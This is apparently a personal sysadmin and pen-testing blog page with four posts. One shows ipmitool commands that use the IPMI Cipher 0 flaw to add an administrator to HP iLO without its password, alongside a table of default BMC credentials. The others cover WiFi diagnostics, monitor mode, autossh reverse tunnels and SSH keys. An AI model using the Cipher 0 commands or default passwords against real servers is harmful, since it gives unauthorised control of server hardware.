Thursday, December 22, 2016

Create an HP iLo account when you don't know the Admin Password

Older versions of Out of band management processors like HP iLo, Dell DRAC, IBM IMM and Supermicro IPMI supported a feature called Cipher 0 which is clear-text authentication. But due to a flaw in the implementation ANY password works against the built in Administrator account.

Ubuntu has a package called ipmitool in it's repository. Using ipmitool you can list the users and add a new Administrative user. For HP iLo this works on firmware up to v1.6 on iLo3 and up to v1.3 on iLo4.

To install ipmitool
sudo apt-get install ipmitool

Once the install is complete you can use the list command to see the current users:

ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list

Once you run the list command look for an ID that shows ( Empty User).

On the server I used this command on ID2 was empty so I ran:

ipmitool -I lanplus -C 0 -H  10.0.0.99 -U Administrator -P FluffyWabbit user set name 2 Monitor

to create a new user.

and finally

ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set password 2 SecretPassword


to create a password.


Once that was done I opened a browser and logged into iLo as an administrator using my newly created account.

Obviously this is a security issue!  You must upgrade your firmware to fix this issue.

All manufactures except HP use a default password so you don't even have to create a user if IT didn't change the default.


Product NameDefault UsernameDefault Password
HP Integrated Lights Out (iLO)Administrator<factory randomized 8-character string>
Dell Remote Access Card (iDRAC, DRAC)rootcalvin
IBM Integrated Management Module (IMM)USERIDPASSW0RD (with a zero)
Fujitsu Integrated Remote Management Controlleradminadmin
Supermicro IPMI (2.0)ADMINADMIN
Oracle/Sun Integrated Lights Out Manager (ILOM)rootchangeme
ASUS iKVM BMCadminadmin


The reference websites listed below have much more information on IPMI hacking. The link HPiLO Cmdlets is an article on using Powershell under Windows to manage iLo.




References

Hacking IPMI Cipher 0 Using Kali Linux - A nice tutorial on using ipmitool and bmc-config
A Penetration Tester's Guide to IPMI and BMCs - A great tutorial on the Cipher 0 issue and IPMI
How to find all the iLO’s on your network - A nice bash script for locating iLo devices on a subnet
HPiLO Cmdlets Version 1.2.0.0 - HP's download for iLo Powershell Cmdlets
HewlettPackard PowerShell Sample Scripts - Some official HP sample scripts
GNU FreeIPMI - A Linux package for working with BMCs
IPMITOOL useful examples
IPMI++ Security Best Practices

Wednesday, December 14, 2016

Useful Linux commands for troubleshooting WiFi

I find these terminal commands useful when verifying and trouble shooting wifi. Hopefully you will find some of them useful in your trouble shooting.

  • iwlist wlan0 scanning - returns channel, quality, SSID, bit rates
  • sudo iw dev wlan0 scan passive | grep SSID - returns just the SSID
  • nm-tool - display a lot of wifi and eth settings
  • nmcli dev list | grep DHCP - display only DHCP information
  • nmcli con list - list the saved wireless/VPN connections
  • nmcli dev wifi - List available SSIDs, connection state, Frequency, Security type and MAC of the AP.

Wireshark

On Linux Wireshark can do captures in "monitor mode" which allows you to capture the management frames that the wifi driver normally removes. This will allow you to see the beacons from the AP or client and is useful in a lot of situations. There are plenty of youtube videos and web pages that explain how to use the capture.

To enable monitor mode run this command before you start Wireshark. If your wireless adapter is not WLAN0 you will need to change the command to reflect the correct adapter.

mhubbard@1S1K-SYS76:~$ sudo airmon-ng start wlan0
[sudo] password for mhubbard:

Interface Chipset Driver

mon1 Unknown iwlwifi - [phy0]
wlan0 Unknown iwlwifi - [phy0]
(monitor mode enabled on mon2)
mon0 Unknown iwlwifi - [phy0]

In this case the monitor mode interface is mon2. When you start Wireshark select mon2 as the capture interface.

When you are done capturing run the following to stop monitor mode:

airmong-ng stop mon2


Displaying SSID information


You can get a lot of useful information using iwlist.

iwlist wlan0 scanning 


This will return the MAC of the AP's radio, the channel, RSSI, ESSID and Bit Rates.
mhubbard@1S1K-SYS76:~$ iwlist wlan0 scanning
wlan0     Scan completed :
          Cell 01 - Address: 84:B8:02:13:43:BF
                    Channel:36
                    Frequency:5.18 GHz (Channel 36)
                    Quality=52/70  Signal level=-58 dBm
                    Encryption key:on
                    ESSID:"test"
                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=0000007b5a22583e
                    Extra: Last beacon: 75468ms ago
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK

sudo iw dev wlan0 scan passive | grep SSID

This will return a list of the SSIDs that the radio can see.

mhubbard@1S1K-SYS76:~$ sudo iw dev wlan0 scan passive | grep SSID
SSID: test
SSID: Belkin.5D98_2GEXT
SSID: NETGEAR55
SSID: Guest

nm-tool

This will return the MAC address of the bluetooth radio and wireless adapter along with the connection state, speed, SSID you are connected to and the IPv4 settings.

mhubbard@1S1K-SYS76:~$ nm-tool

NetworkManager Tool

State: connected (global)

- Device: FC:E9:98:57:E9:D5 ----------------------------------------------------
  Type:              Bluetooth
  Driver:            bluez
  State:             disconnected
  Default:           no

  Capabilities:
- Device: wlan0  [test] --------------------------------------------------------
  Type:              802.11 WiFi
  Driver:            iwlwifi
  State:             connected
  Default:           yes
  HW Address:        E4:B3:18:9F:FD:99

  Capabilities:
    Speed:           324 Mb/s

  Wireless Properties
    WEP Encryption:  yes
    WPA Encryption:  yes
    WPA2 Encryption: yes

  Wireless Access Points (* = current AP)
    Guest:           Infra, 84:B8:02:13:43:BE, Freq 5180 MHz, Rate 54 Mb/s, Strength 70
    *test:           Infra, 84:B8:02:13:43:BF, Freq 5180 MHz, Rate 54 Mb/s, Strength 73 WPA2
    test:            Infra, 84:B8:02:13:43:B0, Freq 2412 MHz, Rate 54 Mb/s, Strength 100 WPA2


  IPv4 Settings:
    Address:         192.168.10.151
    Prefix:          24 (255.255.255.0)
    Gateway:         192.168.10.254

    DNS:             208.67.220.220
    DNS:             208.67.222.222

nmcli dev list | grep DHCP

If you just need your DHCP settings.

mhubbard@1S1K-SYS76:~$ nmcli dev list | grep DHCP


DHCP4.OPTION[1]: host_name = 1S1K-SYS76.default.domain.invalid
DHCP4.OPTION[2]: expiry = 1482463402
DHCP4.OPTION[3]: broadcast_address = 192.168.10.255
DHCP4.OPTION[4] dhcp_message_type = 5
DHCP4.OPTION[5]: dhcp_lease_time = 691200
DHCP4.OPTION[6]: ip_address = 192.168.10.151
DHCP4.OPTION[7]: subnet_mask = 255.255.255.0
DHCP4.OPTION[8]: dhcp_renewal_time = 345600
DHCP4.OPTION[9]: routers = 192.168.10.254
DHCP4.OPTION[10]: domain_name_servers = 208.67.220.220 208.67.222.222
DHCP4.OPTION[11]: dhcp_rebinding_time = 604800
DHCP4.OPTION[12]: network_number = 192.168.10.0
DHCP4.OPTION[13]: dhcp_server_identifier = 192.168.10.254


nmcli con list (Note: list has been replaced with show. If list returns an error try show. The output is slightly different)

If you want to see all of the WLANs that you have saved. Notice how much information your laptop has on your connections.

mhubbard@1S1K-SYS76:~$ nmcli con list


NAME UUID TYPE TIMESTAMP-REAL
YHS d6ace886-c217-4ed8-ac17-bf6e79015c0e 802-11-wireless Wed 30 Nov 2016 08:14:07 AM PST
JUSD-PSK 70b88ce4-6076-4fa8-813e-f2b672e65671 802-11-wireless Fri 02 Sep 2016 09:12:12 PM PDT
1S1K-phone cf206603-2ad1-41c6-a1a6-826d916997e3 802-11-wireless Thu 13 Oct 2016 05:33:48 PM PDT
ITWiFi 4152633c-301b-4686-88b4-f329d95eaddc 802-11-wireless Tue 13 Dec 2016 03:18:39 PM PST
Wired connection 1 a1e63f8e-d28a-4c4f-a1a8-ca8e93e40114 802-3-ethernet Tue 13 Dec 2016 03:16:43 PM PST
RUSD a0bd712e-41b9-484a-95f7-d6098e5fba3b vpn Fri 18 Nov 2016 12:43:19 PM PST
Troy's iPhone Network bd8ca1a1-df3f-4092-96cb-cc22ee6bc868 bluetooth never

This one displays information about the SSIDs that can be seen.

mhubbard@1S1K-SYS76:~$ nmcli dev wifi


SSID BSSID MODE FREQ RATE SIGNAL SECURITY ACTIVE
'Guest' 84:B8:02:13:43:BE Infrastructure 5180 MHz 54 MB/s 70 -- no
'test' 84:B8:02:13:43:BF Infrastructure 5180 MHz 54 MB/s 73 WPA2 yes
'Belkin.5D98' 20:1C:C8:03:24:35 Infrastructure 2437 MHz 54 MB/s 34 WPA2 no

References
nmcli — command-line tool for controlling NetworkManager
Scripts: Utilize NetworkManager via nmcli instead of managing network connections manually.
RHCSA-Network Flas cards

Monday, September 5, 2016

AutoSSH on Odriod XU4 running Kali Linux 2

In my last blog, SSH into Kali 2.0 on ARM (Odroid, Banana Pi, etc), I configured SSH with RSA public/private keys so that I could securely connect the Odroid with certificates instead of a username and password.

In this blog I am going to install autossh and setup the Odriod to automatically create an SSH tunnel to my Digital Ocean CentOS virtual server on boot. Why would you want to do this? Sometimes you want to leave the Odriod at a site and access it later. Having a tunnel that automatically comes up on boot and reconnects if the tunnel drops means you can always log in.

Install autoSSH

AutoSSH is in the Kali repository so no repositories need to be added.

root@kali:~# apt-get install autossh ssh

This will install autossh and the latest version of the SSH client.

Generate a new set of RSA keys

These keys will be created WITHOUT a pass phrase. We can't have a pass phrase on this set of keys because the Odroid needs to be able to automatically connect without any user intervention.

root@kali:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/nopwd
Enter passphrase (empty for no passphrase): LEAVE This Blank
Enter same passphrase again:
Your identification has been saved in /root/.ssh/nopwd.
Your public key has been saved in /root/.ssh/nopwd.pub.
The key fingerprint is:
SHA256:7ZmIPa2zD0YMtkvBpm9/juu5mjL98nrpG8nGurwmWFY root@kali

Review the keys

root@kali:~# ls ~/.ssh
authorized_keys  id_rsa  id_rsa.pub  known_hosts  nopwd  nopwd.pub

root@kali:~/.ssh# cat nopwd.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqsWLWXwoafVWsXAyNtZsnhYzn6PO2t5Ryr0U1JfQzVYwbmLB/MkUXTP57bwSGZ7XiljrsayrJwQny08Wxj11WYl74un1lsvBk+75HNiHC76F9iIF0jN12N0OgybdKymWGEIV5u9q7oqAw41ZXJDqgMA+ZglvGeyH9Ge2OWHyzSKSlGLl4bV51ww/FH0ZtPxXFKgoRSmQ8C7AP7IIFRLZJXJm1fSMdC+TpvUx68baCGo91PwZcdHY9dPnKaYZxcUlzRc0ou4pph3kr+b9beZsrJh/DGlrQC1uRy4HljKOGH4Bq1daf5GkrZQZNvfrXofT4WVyYWgzJ6u7Cs42/29tP root@kali

Copy the new keys to the Digital Ocean VPS

root@kali:~# ssh-copy-id -i .ssh/nopwd.pub -p 22 mhubbard@VPS-IP-Address
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: ".ssh/nopwd.pub"
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
Enter passphrase for key '/root/.ssh/id_rsa':

Number of key(s) added: 1

Test that the key was copied

Note that we have to use the SSH parameter -i to explicitly use our now password key. This is because I have disabled passwords on my VPS.

root@kali:~# ssh -p 22 -i /root/.ssh/nopwd  mhubbard@VPS-IP-Address
Last login: Mon Sep  5 11:12:07 2016 from xxx-xxx-xxx-xxx-static.rvsd.ca.charter.com

mwhubbard.blogspot.com

This is a private system. Unless you have explicit
permission from Michael Hubbard logout immediately!


AutoSSH parameters

-M 10984 - autoSSH monitoring port. Used to keep the connection up
-o "PubkeyAuthentication=yes" Authenticate with SSH Keys instead of passwords.
-o "PasswordAuthentication=no" Explicitly disable password authentication
-i /root/.ssh/nopwd Explicitly use our no password key
-R 2223:localhost:22: reverse tunnel. forward all traffic on port 2223 on the VPS to port 22 on the Odriod.

Run autossh to connect to the Digital Ocean VPS

root@kali:~/.ssh# autossh -M 10984 -o "PubkeyAuthentication=yes" -o "PasswordAuthentication=no" -i /root/.ssh/nopwd -R 2223:localhost:22 mhubbard@107.170.203.230 -p 22
Last login: Sun Sep  4 21:52:16 2016 from xxx-xxx-xxx-xxx-static.rvsd.ca.charter.com

mwhubbard.blogspot.com

This is a private system. Unless you have explicit
permission from Michael Hubbard logout immediately!

Enable the tunnel on boot

These steps come straight from the "Persistent Reverse (NAT Bypassing) SSH tunnel" site listed in the references. It was the piece that I  didn't know how to do and the blog was excellent.

Here is a screen shot of my /etc/rc.local file


References
Persistent reverse (NAT bypassing) SSH tunnel access with autossh - This is a great site for system admins. I am really glad I found it.
autossh – Automatically restart SSH sessions and tunnels
Bypassing corporate firewall with reverse ssh port forwarding
SSH TUNNELLING FOR FUN AND PROFIT: AUTOSSH

Sunday, August 28, 2016

SSH into Kali 2.0 on ARM (Odroid, Banana Pi, etc)

My latest pen testing tool is an Odroid UX4 from Ameridriod.com. The XU4 is an 8 core ARM based Single Board Computer (SBC). The team at Offensive Security have ported Kali 2.0 to run on the Odroid. I flashed Kali 2.0 onto the eMMC card and the image works great. My next step was to setup SSH for remote access.



Kali 2.0 follows the Debian model of not allowing Root logins without a key.  This is definitely the most secure way to use SSH for remote access and it easy to set up.

If you are running headless you will need to use the USB/UART that Hardkernel sells for the UX4. I have found the Logitech MK620 wireless keyboard/mouse works great with the Odroid XU4. The wireless keyboard does have security issues (see Keysniffer.net) but I don't use it anywhere but in my lab.

Generating the RSA private/pubic keys

If you need to create RSA keys on Windows please see my blog Authenticating to Cisco devices using SSH and your RSA Public Key on using puttygen to create the keys.

On a Linux box

You should always move the default SSH keys on your distribution to a backup folder and create new keys before using SSH. See Duplicate SSH Keys Everywhere
If you need to generate an RSA key pair:
ssh-keygen
select the default location
enter a pass phrase to protect the keys.

Here's what it looked like on my Ubuntu laptop:

mhubbard@1S1K-SYS76:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/mhubbard/.ssh/id_rsa):
Created directory '/home/mhubbard/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/mhubbard/.ssh/id_rsa.
Your public key has been saved in /home/mhubbard/.ssh/id_rsa.pub.
The key fingerprint is:
3a:1f:82:3a:60:b5:99:e0:4e:9e:91:92:12:05:4d:fc mhubbard@1S1K-SYS76

Here are the keys in the hidden .ssh folder:
mhubbard@1S1K-SYS76:~$ ls -la ~/.ssh
total 20
drwx------  2 mhubbard mhubbard 4096 Aug 30 11:13 .
drwxr-xr-x 18 mhubbard mhubbard 4096 Aug 30 11:13 ..
-rw-------  1 mhubbard mhubbard 1766 Aug 30 11:05 id_rsa
-rw-r--r--  1 mhubbard mhubbard  401 Aug 30 11:05 id_rsa.pub
-rw-r--r--  1 mhubbard mhubbard  222 Aug 30 11:13 known_hosts

To display the fingerprint in the future:
mhubbard@1S1K-SYS76:~$ ssh-keygen -lf ~/.ssh/id_rsa
2048 3a:1f:82:3a:60:b5:99:e0:4e:9e:91:92:12:05:4d:fc  mhubbard@1S1K-SYS76 (RSA)


This pass phrase will be required the first time you connect to a device but is it much safer than not using one. If you lose control of your private key and didn't have a pass phrase set it could be used to log into any device you set up.

Once you have the key pair generated you need to copy the public key and paste it into the authorized_keys file on the Odroid.

mhubbard@1S1K-SYS76:cd ~/.ssh
mhubbard@1S1K-SYS76:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUUfkp+xPLQDmGaPokHXxK6yhxG1a+pmdCHDzHFBSqsGJIMuVSSwzUksfJU7XG5PEcE8Yt9qU2WVieZXsjMcdZDphhNzdT4RSW63m12ov7jo35KBGFEHnNGv/m6cUEOq9oGfRD5sE7g2wF+QQh74Y4m1ld5VnOicGaR/qyYSazpBJlZKHP2lYfb2coDhHHsnoyBedZbtFxNK3lPKggd4mywmJ19XSZ9Bm2/HurcibYJodHdDn0BoP9Qlvc5vRiZqT6XAS9tIhzeydgkmhYQ8UnAYeclo/WiTR98FYEXzm+aGV0/bH4IZB6mlth53YyR/hxeeKzn7WqTc6/WKx9qrSB mhubbard@1S1K-SYS76

Copy the entire key including the ssh-rsa and username@system

On the Odriod

cd ~
mkdir .ssh
nano /root/.ssh/authorized_keys


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUUfkp+xPLQDmGaPokHXxK6yhxG1a+pmdCHDzHFBSqsGJIMuVSSwzUksfJU7XG5PEcE8Yt9qU2WVieZXsjMcdZDphhNzdT4RSW63m12ov7jo35KBGFEHnNGv/m6cUEOq9oGfRD5sE7g2wF+QQh74Y4m1ld5VnOicGaR/qyYSazpBJlZKHP2lYfb2coDhHHsnoyBedZbtFxNK3lPKggd4mywmJ19XSZ9Bm2/HurcibYJodHdDn0BoP9Qlvc5vRiZqT6XAS9tIhzeydgkmhYQ8UnAYeclo/WiTR98FYEXzm+aGV0/bH4IZB6mlth53YyR/hxeeKzn7WqTc6/WKx9qrSB mhubbard@1S1K-SYS76

CTRL+x to exit. Be sure to answer y and save the file.

Note: Make sure the key is on one line! This isn't an issue on Linux/Mac OX but if you copy the key from a Windows box it will probably have line feeds in it. MS can never follow the standards set by Unix decades ago!

On your favorite ssh client 

I use Perl Auto Connect (PAC) on Linux and Putty on Windows. If you are a Windows user my previous blog covers using an RSA key pair with Putty.

On PAC
Create a new connection
Click the Private Key Radio button
Browse to the ~/.ssh folder and select your private key
Enter root as the user:
Enter the pass phrase for the private key.
Click "Save and Close".



You can now log into Kali with your RSA key pair.

References
Kali Linux 2.0 Top 10 Post Install Tips
Kali SSH problems